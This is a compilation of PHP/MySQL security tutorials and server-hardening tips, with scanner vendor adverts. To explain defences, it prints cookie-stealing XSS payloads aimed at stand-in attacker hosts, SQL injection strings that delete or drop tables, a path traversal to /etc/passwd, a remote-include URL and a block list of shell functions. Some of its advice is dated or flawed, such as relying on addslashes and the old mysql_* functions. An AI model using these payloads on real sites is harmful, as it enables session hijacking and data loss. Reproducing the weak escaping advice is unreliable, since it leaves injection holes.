PHP MySQL Web Development Security Tips – 14 tips you
should know when developing with PHP and MySQL I read about many of these points in books and tutorials but I was rather lazy to think about many of them initially learned some of these lessons the hard way. Fortunately I didn’t lose any major data over security issues with PHP MySQL, but my suggestion to everyone who is new to PHP is to read these tips and apply them *before* you end up with a big mess.
1. Do not trust user input
If you are expecting an integer call intval() (or use cast) or if you don’t expect a username to have a dash () in it, check it with strstr() and prompt the user that this username is not valid.
Here is an example:
$post_id = intval($_GET['post_id']);
mysql_query("SELECT * FROM post WHERE id = $post_id");
Now $post_id will be an integer for sure
2. Validate user input on the server side
If you are validating user input with JavaScript, be sure to do it on the server side too, because for bypassing your JavaScript validation a user just needs to turn their JavaScript off. JavaScript validation is only good to reduce the server load.
3. Do not use user input directly in your SQL queries Use mysql_real_escape_string() to escape the user input.PHP.net recommends this function: (well a little different)
function escape($values) {
if(is_array($values)) {
$values = array_map('escape', $values);
} else {
/* Quote if not integer */
if ( !is_numeric($values) || $values{0} == '0' ) {
$values = "'" .mysql_real_escape_string($values) . "'";
}
}
return $values;
}
Then you can use it like this:
$username = escape($_POST['username']);
mysql_query("SELECT * FROM user WHERE username = $username"); /* escape() will also adds quotes to strings automatically */
4. In your SQL queries don’t put integers in quotes
For example $id is suppose to be an integer:
$id = "0; DELETE FROM users";
$id = mysql_real_escape_string($id); // 0; DELETE FROM users -
mysql_real_escape_string doesn't escape ;
mysql_query("SELECT * FROM users WHERE id='$id'");
Note that, using intval() would fix the problem here.
5. Always escape the output
This will prevent XSS (Cross Site Scripting) attacks, imagine you receive and save some data from a user and you want to display this data on a web page later (maybe his/her bio or username) and the user puts this bit of code in the input field along with his bio:
<script>alert('');</script>
If you display the raw user input on a web page this will be very ugly, it can even be worse if a user inputs this code instead:
<script>document.location.replace('http://attacker/?
c='+document.cookie);</script>
With this, an attacker can steal cookies from whoever visits that certain page (containing bio etc.) and this includes session cookies with session IDs in them so the attacker can hijack your users’ sessions and appear to be logged in as other users.When displaying user input on a page use htmlentities($user_bio, ENT_QUOTES, ‘UTF8′);
6. When uploading files, validate the file mime type
If you are expecting images, make sure the file you are receiving is an image or it might be a PHP script that can run on your server and does whatever damage you can imagine.One quick way is to check the file extension:
$valid_extensions = array('jpg', 'gif', 'png'); // ...
$file_name = basename($_FILES['userfile']['name']);
$_file_name = explode('.', $file_name);
$ext = $_file_name[ count($_file_name) - 1 ];
if( !in_array($ext, $valid_extensions) ) {
/* This file is invalid */
}
Note that validating extension is a very simple way, and not the best way, to validate file uploads but it’s effective; simply because unless you have set your server to interpret .jpg files as PHP scripts then you are fine.
7. If you are using 3rd party code libraries, be sure to keep them up to date
If you are using code libraries like Smarty or ADODB etc. be sure to always download the latest version.
8. Give your database users just enough permissions
If a database user is never going to drop tables, then when creating that user don’t give it drop table permissions, normally just SELECT, UPDATE, DELETE, INSERT should be enough.
9. Do not allow hosts other than localhost to connect to your database If you need to, add only that particular host or IP as necessary but never, ever let everyone connect to your database server.
10. Your library file extensions should be PHP
.inc files will be written to the browser just like text files (unless your server is setup to interpret them as PHP scripts), users will be able to see your messy code (kidding:)) and possibly find exploits or see your passwords etc. Have extensions like config.inc.php or have a .htaccess file in your extension (templates, libs etc.)
folders with this one line: deny from all
11. Have register globals off or define your variables first
Register globals can be very dangerous, consider this bit of code:
if( user_logged_in() ) {
$auth = true;
}
if( $auth ) {
/* Do some admin stuff */
}
Now with register globals on an attacker can view this page like this and bypass your authentication:
[url]http://yourwebsite.com/admin.php?auth=1[/url]
If you have registered globals on and you can’t turn it off for some reason you can fix these issues by defining your variables first:
$auth = false;
if( user_logged_in() ) {
$auth = true;
}
if( $auth ) {
/* Do some admin stuff */
}
Defining your variables first is a good programming practice that I suggest you follow anyway.
12. Keep PHP itself up to date
Just take a look at [url]www.php.net[/url] and see release announcements and note how many security issues they fix on every release to understand why this is important.
13. Read security books
Always find new books about PHP security to read; you can start by reading the 4th book in the Learning PHP Post, which is one of the best books on PHP security and the author is a member of the PHP team so he knows the internals very well.
14. Contribute to this list
Feel free to reply to this thread and add to this list, it will be helpful for everyone!
Security Hints for PHP/MySQL Applications Apache Server Security
This page provides some geneal hints for Apache servers running PHP applications. I recommend to consider them for ConfTool installations and they are probably useful for most other productive environments with PHP and MySQL.
Access to Backup Files It is advisable to block access to all backup files. If these are for instance PHP files, they are usually not executed and may reveal parameters like the password for your mysql database. To block the access to backup files with the extensions "bak", "BAK" and "~" use the following lines in your httpd.conf file:
<FilesMatch "(\.bak|\.BAK|~)$">
order deny,allow
deny from all
</FilesMatch>
Example:
<Directory "/home/conftool/">
# For Conftool you need none of the options directive, if you do not
# use the .htaccess file, but make the conftool settings in php.ini
options none
# Controls who can get stuff from this server.
order deny,allow
allow from all
# Prevent access to backup files!
<FilesMatch "(\.bak|\.BAK|~)$">
order deny,allow
deny from all
</FilesMatch>
</Directory>
MySql Database Security Limit Network Access
If not required, block network access to the mysql database server from other hosts. One way to limit any network access to your MySQL server is adding the parameter skip-networking to your mysql configuration file "my.cnf" (usually in /etc/ or C:/Windows/). Applications now have to use a socket file to access the MySQL deamon. If disabling network access causes compatibility issues with some of your applications, you may also use
bind-address = 127.0.0.1
to limit access to localhost only.
Update Default Root User
Many distributions install a "root" MySQL user without any password. Make sure to set a password for the "root" user after a new server installation. From the command line call
mysql mysql -u root
In the mysql client you have to enter two commands:
UPDATE user SET Password=PASSWORD('myNewPassword') WHERE user='root';
flush privileges;
The second command reads the new password into the mysql server.
Alternatively you can also use the "mysqladmin tool" mysqladmin -u root password
You will be prompted for the password. If you get the error message
mysqladmin: connect to server at 'localhost' failed
error: 'Access denied for user 'root'a'localhost' (using password: NO)' a password for the user root is already set.
PHP Security Settings
PHP is not an "unsave" programming language, but there are some PHP settings that are recommended to reduce the vulnerability of most PHP installations. They are set in your php.ini file, some can also be set in the apache configuration file or your local .htaccess file. Please consider that other PHP scripts on your server might have problems with the settings recommended here.
DISABLE_FUNCTIONS
Some PHP functions can make your system vulnerable, as they provide access to system ressources, parameters or files. Such are:
show_source, system, shell_exec, passthru, exec, phpinfo, popen, proc_open, proc_nice
Conftool makes use of two of these functions:
• "exec" is used on windows systems to check if the domain name of an email address exists. All parameters are sanitized before the function call. (The function is also used in some custom ConfTool libraries to access credit card gateways.)
• "popen" is used in the "phpmailer" library to send emails. You can alternatively use the buildin php function to send mails, but it is less powerful.
Therefore if you use one of the features above, you should only disable the following functions in the file "php.ini":
disable_functions = show_source, system, shell_exec, passthru, phpinfo,
proc_open, proc_nice
REGISTER_GLOBALS
The switch
register_globals = Off
should always be set, as otherwise all http get and post variables are directly accessible as global variables in the PHP application. This is a potential security problem for any PHP application. I recommend not to use any PHP application that requires "register_globals" to be on.
ALLOW_URL_FOPEN
allow_url_fopen = Off
This should be set for most servers. It prevents that scripts can load php code from other web servers, a potential security issue.
allow_url_include = Off
Since PHP 5.2 the setting allow_url_include allows to disable remote addresses for the commands "include" and "require" only. So if some of your scripts require allow_url_fopen, the above settings might be an alternative.
DISPLAY_ERRORS
display_errors = Off
This setting will turn off the output of PHP error messages to your users and possible attackers. It should always be set to "off" in a productive environment. You can (and should) still log (and analyze) errors in the server's error_log by setting:
log_errors = On
OPEN_BASEDIR
Syntax: open_basedir = "/path/to/conftool"
Limits the execution of php files on your Web server. Files outside the
given path(s) are not executed. It is always recommended to use it and to restrict php to those directories where known applications reside.
Example for Windows:
open_basedir = "D:/www/conftool/;C:/Program Files/Apache Group/Apache/htdocs/"
Unix/Linux example:
open_basedir = "/home/conftool/:/srv/www/"
SAFE_MODE
safe_mode = On/Off
Safe Mode restricts the access of php scripts on your web server. It is currently not recommended to use it with ConfTool as e.g. timeouts cannot be set and the access to uploaded files is limited.
ConfTool does somehow work with safe mode, but there are many potential problems (e.g. with bulk mails).
HardenedPHP Project The HardenedPHP project provides two patches / extensions for PHP that can improve the security of all PHP installations:
• The hardening patch adds security hardening features to the PHP core to protect servers against a number of well known problems in PHP applications and against potential unknown vulnerabilities.
• Suhosin is an extension for PHP to protect servers and users from known and unknown flaws in PHP applications and the PHP core by adding new security filters and PHP security settings.
Both patches work well with ConfTool. I recommend the Suhosin extension for any productive environment running PHP applications.
PHP Security Tips Part 1
When writing PHP scripts, security should always be your primary concern. A poorly written PHP script can open up your web site and web server to attacks, either enabling attackers to retrieve confidential data, or even enabling an attacker to take control of your web site and server. If you are storing highly sensitive data
such as customer credit cards then the necessity for PHP security becomes critical.
This article is the first part of several which we hope will help you understand how to make your PHP scripts more secure.
Error reportingEvery PHP developer makes mistakes, even the most experienced. PHP's error reporting functions can help you find your mistakes before they cause serious problems.
PHP's error reporting functions can be manipulated at any level, either in the PHP configuration or at any stage in a PHP script enabling you to control how errors are handled on a function by function basis if necessary.
To enable PHP's error reporting functions, we recommend using the following code to display errors as they occur when running your scripts:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'On');
Using the above code, PHP will print any errors which occur. If preferred, you can use the following code to record errors to a log file, this method is more appropriate when you want to continue logging errors in a live script which is being used by your web site visitors:
ini_set('error_reporting', E_ALL | E_STRICT);
ini_set('display_errors', 'Off');
ini_set('log_errors', 'On');
ini_set('error_log', '/path/to/your/error_log');When using this code the 'error_log' value should be set to a full/absolute server path to the file you wish to use for your error log. This can be located anywhere on your server, though ideally this should not be in a location where it can be accessed with a web browser.
It is also possible to create a custom error reporting function which enables you to control how errors are displayed and handled, simply place the following code in your PHP script to enable a custom error reporting function:
set_error_handler('error_reporting');
Then create a PHP function called 'error_reporting' to handle the error report:
function error_reporting($error_number, $error_string,
$error_file, $error_line, $error_context) {
print "PHP Error\n";
print "Error Number: $error_number\n";
print "Error String: $error_string\n";
print "Error File: $error_file\n";
print "Error Line: $error_line\n";
print "Error Context: ".print_r($error_context)."\n";
}
The function inputs are used for the following purposes:
$error_number, contains the level of the error raised as an integer.
$error_string, contains the error message as a string.
$error_file, contains the name of the file the error was raised in.
$error_line, contains the line number in the file where the error was raised.
$error_context, contains an array of every variable that existed when the error was triggered.
Validating data
Ensuring the data your users enter is valid is very important, allowing users to freely enter any data can pose a serious security risk. You should always validate your input data, for example if a user is entering a phone number you should validate the input to ensure they may only enter numeric values.
Email validation is very important especially if your script sends emails as an invalid email address can cause unexpected results when attempting to send an email. You can find a great email validation function in our article, PHP:
Basic functions for quickstart PHP framework.
This article also provides some great functions for validating URLs, UK postcodes and general input data which requires alphanumeric and similar validation.
When handling input data in your PHP scripts, it is very important you keep track of what data has been validated and what data has not been validated.
We recommend using arrays to handle all your input data. For example, use the following code to handle an input:
$input['email'] = $_GET['email'];
You should then validate the input and save it in a separate array, this is also useful if for some reason you need to retrieve the unvalidated data.
$clean['email'] = validate_email($input['email']);
If you were taking a numeric input you should validate the input as follows:
$input['number'] = $_GET['number'];
if (is_numeric($input['number'])) {
$clean['number'] = $input['number'];
} else {
# Input contains nonnumeric characters
$clean['number'] = "";
}
SQL injection
If you are using SQL to store data, it is critical you validate any input data being used in your SQL queries. A misplaced quotation can cause an insert or update SQL query to completely fail, and if you use input data to control where clauses then poorly validated data can make your entire database open to attacks.
Any variable used in a SQL query should always be processed with a PHP function such as mysql_escape_string. Consider the following example:
$query = "INSERT INTO database (field) VALUES ('$value');";
If the $value variable contains a quotation symbol (') the entire mySQL query will fail. If the $value variable is used for names it is not uncommon for a name to contain a quotation mark, for example 'Richard O'Brien' or 'David O'Hara'. If these values were used in the $value variable the SQL query would fail.
By using the mysql_escape_string function PHP will escape the value by placing a backslash before any quotation symbols. For example:
$value = "David O'Hara";
$value = mysql_escape_string($value);
$value would now equal "David O\'Hara". SQL will not save the backslash, it simply tells SQL the quotation in the value is part of the value and not the end of the value in the query. If you select the value from the database and reinsert it you should use mysql_escape_string again.
Consider this example delete query:
$query = "DELETE FROM database WHERE field = '$value';";
If value equals a valid field value in the database this will not cause any problems, but if the user has control over this input it could be abused, e.g.
$value = "value' OR field != 'value";
In this example, the SQL query would become the following:
$query = "DELETE FROM database WHERE field = 'value' OR field != 'value';";
This would essentially delete every record in the 'database' table. By using the mysql_escape_string function the query would be:
$query = "DELETE FROM database WHERE
field = 'value\' OR field != \'value';";
This query wouldn't match any values and would therefore protect your database.
Cookie theft
Cookies are commonly used to store data on a user's system, cookies are harmless to the user's system and only allow you to store a small amount of data and are commonly used to store session data, for example to keep track of a user who has logged in so they are not required to login every time they browse to a new
page on your web site. Cookies can only be accessed with code located on the site which created the cookie, so if a cookie is set on OpenCrypt.com, only code hosted on OpenCrypt.com is allowed to access the cookie, code on OpenCrypt2.com could not access a cookie set on OpenCrypt.com.
However, if you allow user data input to be displayed on your web site such as user comments this can be manipulated to access cookies. For example, imagine a user posted the following code in a comment on
your web site:
<script>
document.location = 'http://example.org/
hijack.php?cookie=' + document.cookie;
</script>
When a user accessed a page containing this code, any cookie data associated to the site would be passed
to the URL http://example.org/hijack.php as a query string. This would enable the example.org site to retrieve
cookie data from your site. If you use cookies on your site to store login session data it may enable the site
owner to use that data to take control of another user's login session.
When users input data which is displayed on your site you should always validate it. You can either do this
by converting the HTML to plaintext so the code is displayed rather than being executed, or alternatively you
can simply remove any HTML from the comments.
By using the htmlentities PHP function you can convert all HTML to text, so for example <script> would
become <script> and would therefore be displayed by the browser and not executed by the browser.
Alternatively you could remove any HTML tags, either by removing the brackets or by using a function to
completely remove the HTML tags.
You can find a great function for removing HTML tags in our article, PHP: Basic functions for quickstart
PHP framework. The strip_selected_tags function in this article will enable you to control what tags are
removed, so you can allow formatting tags so users can add bold or italic text, but you can block script tags
and other unwanted HTML tags.
Traversing the file system
Whenever you access files on your system you must specify a filename, if you use input data to control
which file you are accessing this can create security risks.
Consider the following example:
$input_file = $_GET["filename"];
print file_get_contents($input_file);
When using the 'filename' query string to specify a filename you allow users to control which file they are
accessing and displaying. If you have a file called 'test.html' and enter that in the query string this is safe, but
there is nothing to prevent users from changing the query string to access other files.
By default this would only look for files in the same directory as the script, but there is nothing to prevent the
user from traversing the file system to access other files.
If the user were to enter ../../../path/to/another/file.ext they can essentially navigate to access any file on your
system. The same would apply even if you specify a full/absolute server path before the filename. For
example:
print file_get_contents("/path/to/$input_file");
Even with a path specified it is still possible to traverse the file system to access other files, e.g. /path/to/../../
would enable you to access files in the directory which contains the /path/ directory.
Using PHP's basename function you can find the filename in an input path, so if you pass '/path/to/file.ext'
into the basename function it will return 'file.ext' and not the path. The PHP dirname function does the
opposite and will return the path without the filename.
You should always use the basename function when handling filenames, e.g.
$input_file = basename($_GET["filename"]);
print file_get_contents("/path/to/$input_file");
This method would still enable users to access other files in the same directory so it is important you apply
other validation methods though how you do this depends entirely upon what you are trying to achieve.
If it is not possible to define a list of files that can be accessed you should consider validating the filenames
using alphanumeric validation, or you may also like to consider validating the filename based on the file
extension.
You can use PHP's pathinfo function to retrieve the same results as basename and dirname at the same
time and the pathinfo function also returns file extension information. For example:
$file_info = pathinfo($input_file);
Pathinfo will then return an array so you can access the file information.
$file_info['dirname'] would return the same data as the dirname function.
$file_info['basename'] would return the same data as the basename function.
$file_info['extension'] would return the file extension.
In this example, you could check the extension value is an HTML file to ensure the PHP script can only
access HTML files.
$file_info = pathinfo($_GET["filename"]);
if (strtolower($file_info['extension'])=="html") {
print file_get_contents("/path/to/".$file_info['basename']);
}
This ensures the extension value is lowercase and then checks it is equal to 'html', if it is the script is allowed
to access the file.
We hope this article has helped you understand the importance of PHP security and how to improve your
code to be secure. We will continue with further examples in part 2 of this article.
If you would like to learn more about PHP security we would recommend the O'Reilly book, Essential PHP
Security which is available from Amazon and many other book shops.
PHP / SQL Security Part 3
Last Time...
In the first article, I covered input validation and securing user input. In the previous article, I
looked at securing database input, and securing databases themselves. This led on to the issue of
controlling file access within PHP, which is the topic of this part of the series.
Directory Traversal Attacks
In a directory traversal attack, the attacker will specify a filename containing characters which are
interpreted specially by the filesystem. Usually, . refers to the same directory, and .. refers to its
parent directory. For example, if your script asks for a username, then opens a file specific to that
username (code below) then it can be exploited by passing a username which causes it to refer to a
different file.
$username = $_GET['user'];
$filename = “/home/users/$username”;
readfile($filename);
If an attacker passes the query string
?user=../../etc/passwd
then PHP will read /etc/passwd and output that to the user. Since most operating systems restrict
access to system files, and with the advent of shadow password files, this specific attack is less
useful than it previously was, but similarly damaging attacks can be made by obtaining .php files
which may contain database passwords, or other configuration data, or by obtaining the database
files themselves. Anything which the user executing PHP can access (usually, since PHP is run
from within a web server, this is the user the web server runs as), PHP itself can access and output
to a remote client.
Once again, PHP provides functions which step in and offer some protection against this kind of
attack, along with a configuration file directive to limit the file paths a PHP script may access.
realpath() and basename() are the two functions PHP provides to help avoid directory traversal
attacks. realpath() translates any . or .. in a path, resulting in the correct absolute path for a file. For
example, the $filename from above, passed into realpath(), would return
/etc/passwd
basename() strips the directory part of a name, leaving behind just the filename itself. Using these
two functions, it is possible to rewrite the script above in a much more secure manner.
$username = basename(realpath($_GET['user']));
$filename = “/home/users/$username”;
readfile($filename);
This variant is immune to directory traversal attacks, but it does not prevent a user requesting a file
they weren't expected to request, but which was in the same directory as a file they are allowed to
request. This can only be prevented by changing filesystem permissions on files, by scanning the
filename for prohibited filenames, or by moving files you do not want people to be able to request
the contents of outside of the directory containing the files you do want people to be able to access.
The configuration file variable open_basedir can be used to specify the base directory, or a list of
base directories, from which PHP can open files. A script is forbidden to open a file from a
directory which is not in the list, or a subdirectory of one in the list.
Note that PHP included files are subject to this restriction, so the standard PHP include directory
should be listed under open_basedir as well as any directories containing files you wish to provide
access to through PHP. open_basedir can be specified in php.ini, globally in httpd.conf, or as a per
virtual host setting in httpd.conf. The php.ini syntax is
open_basedir = “/path:/path2:/path3”
The httpd.conf syntax makes use of the php_admin_value option,
php_admin_value open_basedir “/path:/path2:/path3”
open_basedir cannot be overridden in .htaccess files.
Remote Inclusion
PHP can be configured with the allow_url_fopen directive, which allows it to treat a URL as a local
file, and allows URLs to be passed to any PHP function which expects a filename, including
readfile() and fopen(). This provides attackers with a mechanism by which they can cause remote
code to be executed on the server.
Consider the following case. Here, the include() function is used to include a PHP page specific to
an individual user. This may be to import their preferences as a series of variables, or to import a
new set of functionality for a different user type.
include($_GET['username'] . '.php');
This assumes that the value of username in the GET request corresponds to the name of a local file,
ending with .php. When a user provides a name such as bob, this looks for bob.php in the PHP
include directories (current directory, and those specified in php.ini). Consider, however, what
happens if the user enters
http://www.attackersrus.com/nastycode
This translates to http://www.attackersrus.com/nastycode.php and with allow_url_fopen enabled,
this remote file will be included into the script and executed. Note that the remote server would
have to serve php files as the raw script, instead of processing them with a PHP module first, in
order for this attack to be effective, or a script would have to output PHP code
( readfile(realnastycode.php) for instance).
Mechanisms such as the above allow attackers to execute any code they desire on vulnerable web
systems. This is limited only by the limitations placed on PHP on that system, and the limitations of
the user under which PHP is running (usually the same user that the entire web server is running
under).
One simple way to prevent this style of attack is to disable allow_url_fopen. This can be set in
php.ini. If allow_url_fopen is required for some parts of your site, another technique is to prefix the
file path with the absolute path to the starting directory. This reduces the portability of your scripts,
since that path must be set depending on where the script was installed, but it results in increased
security, since no path starting with a / (or X:\, or whatever it is on your operating system) can be
interpreted as a URL.
$username = basename(realpath($_GET['username']));
include('/home/www/somesite/userpages/' . $username . '.php');
The code above highlights not only prefixing with an absolute path, but also protecting against
directory traversal using basename and realpath.
Note that the third solution to the remote inclusion problem is to never use usersupplied filenames.
This alleviates a large number of filerelated security issues, and is recommended wherever
possible. Databases and support for PHP concepts such as classes should reduce userspecified file
operations to a minimum.
File Permissions
Files created with PHP have default permissions determined by the umask, short for unmask. This
can be found by calling the umask() function with no arguments.
The file permissions set are determined by a bitwise and of the umask against the octal number
0777 (or the permissions specified to a PHP function which allows you to do so, such as
mkdir("temp",0777) ). In other words, the permissions actually set on a file created by PHP would
be 0777 & umask().
A different umask can be set by calling umask() with a numeric argument. Note that this does not
default to octal, so umask(777) is not the same as umask(0777). It is always advisable to prefix the
0 to specify that your number is octal.
Given this, it is possible to change the default permissions by adding bits to the umask. A umask is
"subtracted" from the default permissions to give the actual permissions, so if the default is 0777
and the umask is 0222, the permissions the file will be given are 0555. If these numbers don't mean
anything to you, see the next section on UNIX File Permissions.
The umask is clearly important for security, as it defines the permissions applied to a file, and
therefore how that file may be accessed. However, the umask applies serverwide for the duration it
is set, so in a multithreaded server environment, you would set a default umask with appropriate
value, and leave it at that value. Use chmod() to change the permissions after creation of files whose
permissions must differ from the default.
UNIX File Permissions
UNIX file permissions are split into three parts, a user part, a group part, and an "others" part. The
user permissions apply to the user whose userid is specified as the owner of the file. The group
permissions apply to the group whose groupid is specified as the group owner of the file, and the
other permissions apply to everyone else.
The permissions are set as a sum of octal digits for each part, where read permission is 4, write
permission is 2, and execute permission is 1. To create UNIX file permissions, add each permission
digit you want to apply to each part, then combine the three to get a single octal number (note, on
the command line, chmod automatically treats numbers as octal, in PHP, you need to specify a
leading zero).
The permissions are also commonly displayed in the form of r (read), w (write) and x (execute),
written three times in a single row. The first three form the user permissions, second the group, and
third others.
Take, for example, a file owned by user andrew and group users. The user andrew must be able to
read, write and execute the file, the users group must be able to read and execute it, and everyone
else must be able to execute only.
This corresponds to rwxrxx, where each is a placeholder for the missing character of
permissions (w, for instance, in the group, and rw in the others). The at the front is due to the fact
that there is an extra part which specifies other, UNIX specific, attributes. The ls directory listing
tool uses this first column to display a d character if the item is a directory.
To obtain this permission set in octal, simply add the digits 4, 2 and 1, in three separate numbers,
then combine them in order. The user permissions are rwx, which is 4 + 2 + 1 = 7. The group
permissions are rx, which is 4 + 1 = 5, and the other permissions are x, which is 1 = 1. We now
have the values 7 for user, 5 for group, and 1 for others, which combines to the octal number 0751.
The actual permissions applied to a file created depend on the permissions set, and the umask,
which subtracts from the permissions set (actually its a bitwise and, but it has the effect of
subtracting, as long as you treat the permissions as though they were three distinct octal numbers,
and not a single three digit octal number). A umask of 0266, (which is equivalent to not write, not
read or write, not read or write, for user, group, and others, respectively) applied to a default
permission of 0777, results in 0511, which is rxxx. The umask is determined in the same way
as the permissions, but you start with 7 and subtract the numbers for the permissions you do not
want.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP security attacks
is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
The Acunetix Web Vulnerability Scanner scans for SQL injection, Cross site scripting, Google
hacking and many more vulnerabilities. For more information & a trial download click here.
Check if your website is vulnerable to attack with Acunetix Web Vulnerability Scanner
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
from http://www.acunetix.com/crosssitescripting/scanner.htm. This version will scan any
website / web application for XSS vulnerabilities and it will also reveal all the essential information
related to it, such as the vulnerability location and remediation techniques. Scanning for XSS is
normally a quick exercise (depending on the size of the website).
File Uploads
So far, we have discussed file operations as they apply to existing files on the server, and files
created by a PHP script directly. We have not considered the security issues surrounding user
provided files, i.e. direct file uploads. PHP has a number of builtin functions to deal with file
uploads in a safe manner, and these will be discussed in the next article of the series.
PHP / SQL Security Part 2
by Andrew J. Bennieston
Last Time...
In the previous article, I looked at processing and securing user input when it is to be redisplayed or
executed as PHP code. Now its time to consider entering that data into a database, and cover the
security issues which arise when doing so.
SQL Injection
SQL (Structured Query Language) is the language used to interface with many database systems,
including MySQL, PostgreSQL and MSSQL. Certain words and characters are interpreted specially
by SQL, as commands, separators, or command terminators, for instance.
When a user enters data into a form, there is nothing stopping them entering these special
commands and characters. Consider the PHP code below:
$query = “INSERT INTO orders(address) VALUES('$_GET['address']')”;
$result = mysql_query($query);
A form with a textbox named address would be used to gather the information for this page. We'll
ignore any other form elements for now, but obviously there'd be the order items, a name, possibly
a price, a delivery date, and so on, which would also all need storing in a database.
Imagine a perfectly legitimate user comes along and enters the following address
14 King's Way
Kingston
Kingham County
The database would spit back an error because the SQL command would be malformed. In the
query, the address value is surrounded by single quotes, because it is a string value. When the
database hits the apostrophe in King's Way, it will treat it as the closing single quote, and end the
string. The rest of the address will be treated as SQL commands. Since these “commands” don't
exist, the database returns to PHP with an error.
Now consider an attacker entering the following information into the form:
14 Kings Way
Kingston
Kingham County');DELETE FROM orders *; INSERT INTO ORDERS(address) VALUES('Your data just got deleted by us. We win
Now, the command will succeed. The expected string data is presented, along with a closing quote.
The opening ( after VALUES is closed, and the SQL command is terminated using a semicolon.
After this, another command begins, one which tells the database to delete the entire contents of the
orders table. Then, because the SQL hardcoded into the PHP contains another closing single quote,
a third SQL command is entered, which leaves an open string value. This will be matched up with
the final quote in the hardcoded SQL, and the entire command is syntactically correct, as far as
SQL is concerned, and will therefore execute with no complaint.
Clearly, it is not desirable for any user to be able to issue arbitrary queries simply by posting data in
a form. Luckily for us, as with the PHP and HTML input issues discussed in part 1, PHP provides a
solution. The addslashes() and stripslashes() functions step in to prevent the above scenarios, and
any number of similar attacks.
addslashes() will escape characters with a special meaning to SQL, such as ' or ; by prefixing them
with a backslash (\), the backslash itself is also escaped, becoming \\. stripslashes() performs the
opposite conversion, removing the prefix slashes from a string.
When entering data into a database, addslashes() should be run on all usersupplied data, and any
PHP generated data which may contain special characters. To guarantee safety, simply run
addslashes() on every string input to the database, even if it was generated internally by a PHP
function. Similarly, be sure to run stripslashes() when pulling data back out from the database.
NonString Variables
Since PHP automatically determines the type of a variable, you should also check variables which
you expect to be integers or other data types. For instance, the int type in SQL does not need to be
quoted, but it is still possible for a string in a PHP variable to be inserted into an SQL query in the
position an integer would usually take. Consider the example below.
$query = “INSERT INTO customers(customer_number) VALUES($_POST['number'])”;
If a user supplied the value
0); DROP TABLE customers; CREATE TABLE customers(customer_id
then the same kind of attack as before can be mounted. In this case, simply using addslashes() isn't
enough: you will prevent the command execution, but the database will still consider this to be an
error as the words are not valid in that context. The only way to ensure against this kind of attack is
to perform consistent input validation. Make sure that a value you think should be an integer really
is. A regular expression that matches any noninteger characters should return false on a PHP string
containing only an “integer”. When that string is treated as an integer by SQL, it will therefore not
cause any errors or unexpected code execution.
Database Ownership & Permissions
There are other precautions you may be able to take to prevent some of the more serious SQL
injection attacks. One such course of action is to implement access control on the database. Many
database packages support the concept of users, and it should be possible to set an owner, with full
permissions to modify anything within the database, and other users which may only connect and
issue SELECT or INSERT queries, thus preserving any data already entered against DELETE or
DROP commands. The specifics of achieving such protection will depend on the database system
you're using, and consulting the documentation or user manual should reveal how to implement
access control.
The user designated as the database owner should never be used to connect to the database from a
PHP script; owner privileges should be used on consoles or web admin interfaces such as
phpmysqladmin. If a script requires the DELETE or UPDATE commands, it should ideally use a
separate user account to the standard account, so that the standard account can only add data using
INSERT, and retrieve data using SELECT. This separation of permissions prevents attacks by
limiting the effectiveness of any one SQL injection avenue. If, by poor or forgetful programming, a
user can inject SQL into one script, they will gain only SELECT / INSERT permissions, or only
UPDATE / DELETE permissions, and never sufficient permissions to drop entire tables or modify
the table structure using the ALTER command.
File Permissions
Data in a database system must be stored somehow on disk. The database system itself is
responsible for exactly how the data is stored, but usually there will be a data/ directory under
which the database keeps its files. On a shared hosting system, or a system which allows users some
access to the filesystem, it is essential to reduce the permissions on this file to a bare minimum;
only the system user under which the database process itself runs should have read or write access
to the data files. The web server does not need access as it will communicate with the database
system for its data, instead of accessing the files directly.
Making Database Connections
PHP usually connects to the database management system through a TCP socket or a local domain
socket (on UNIX/Linux). Where possible, you should prevent connections to this socket from IP
addresses or processes other than the web server, and any other process which needs access to the
data (for example, if you have internal order processing software which does not run through the
web server). If the web server and the database server are on the same computer, and no other
services are running which may be exploited to provide a database connection, it should be
sufficient to allow only the local host (given by the hostname localhost or the IP address 127.0.0.1)
access to the TCP port on which the database manager is listening. If the web server and database
server are on different machines, the IP of the web server should be specified explicitly. In short,
limit the access to the database as much as possible without breaking anything that needs access to
it. This should help to ensure that the only access channel is via your PHP scripts, and those have
been written securely enough to check for unexpected or unauthorised data and reject it before it
reaches the database.
Database Passwords In Scripts
Finally, a word on database passwords. Each database user should be assigned a password, and your
scripts will need this password in order to initiate a connection to the database. Ideally, scripts
containing configuration data such as the database username and password should be stored outside
of the web server's document root. This prevents a casual attacker retrieving the plain text of the
configuration file and obtaining the database password.
Other methods to consider are to use a .php extension for the file, instead of the commonly used .inc
extension, for included files. The .php extension ensures that the file is passed through PHP before
output is sent to the user's browser, and so it is possible to prevent display of data within the file
simply by not echoing it!
.htaccess files provide a third method of protecting against password grabbing. If you deny web
access to files whose names begin with .databaseconfig, for instance, a user cannot easily obtain the
file through the web server directly.
Of course, a user may still be able to exploit file access security vulnerabilities in scripts to obtain,
or even to change, the contents of the file.
How to check for PHP vulnerabilities
The best way to check whether your web site & applications are vulnerable to PHP security attacks
is by using a Web Vulnerability Scanner. A Web Vulnerability Scanner crawls your entire website
and automatically checks for vulnerabilities to PHP attacks. It will indicate which scripts are
vulnerable so that you can fix the vulnerability easily. Besides PHP security vulnerabilities, a web
application scanner will also check for SQL injection, Cross site scripting & other web
vulnerabilities.
Acunetix Web Vulnerability Scanner ensures website security by automatically checking for SQL
injection, Cross site scripting and other vulnerabilities. It checks password strength on
authentication pages and automatically audits shopping carts, forms, dynamic content and other web
applications. As the scan is being completed, the software produces detailed reports that pinpoint
where vulnerabilities exist. Take a product tour or download the evaluation version today!
Scanning for XSS vulnerabilities with Acunetix WVS Free Edition!
To check whether your website has cross site scripting vulnerabilities, download the Free Edition
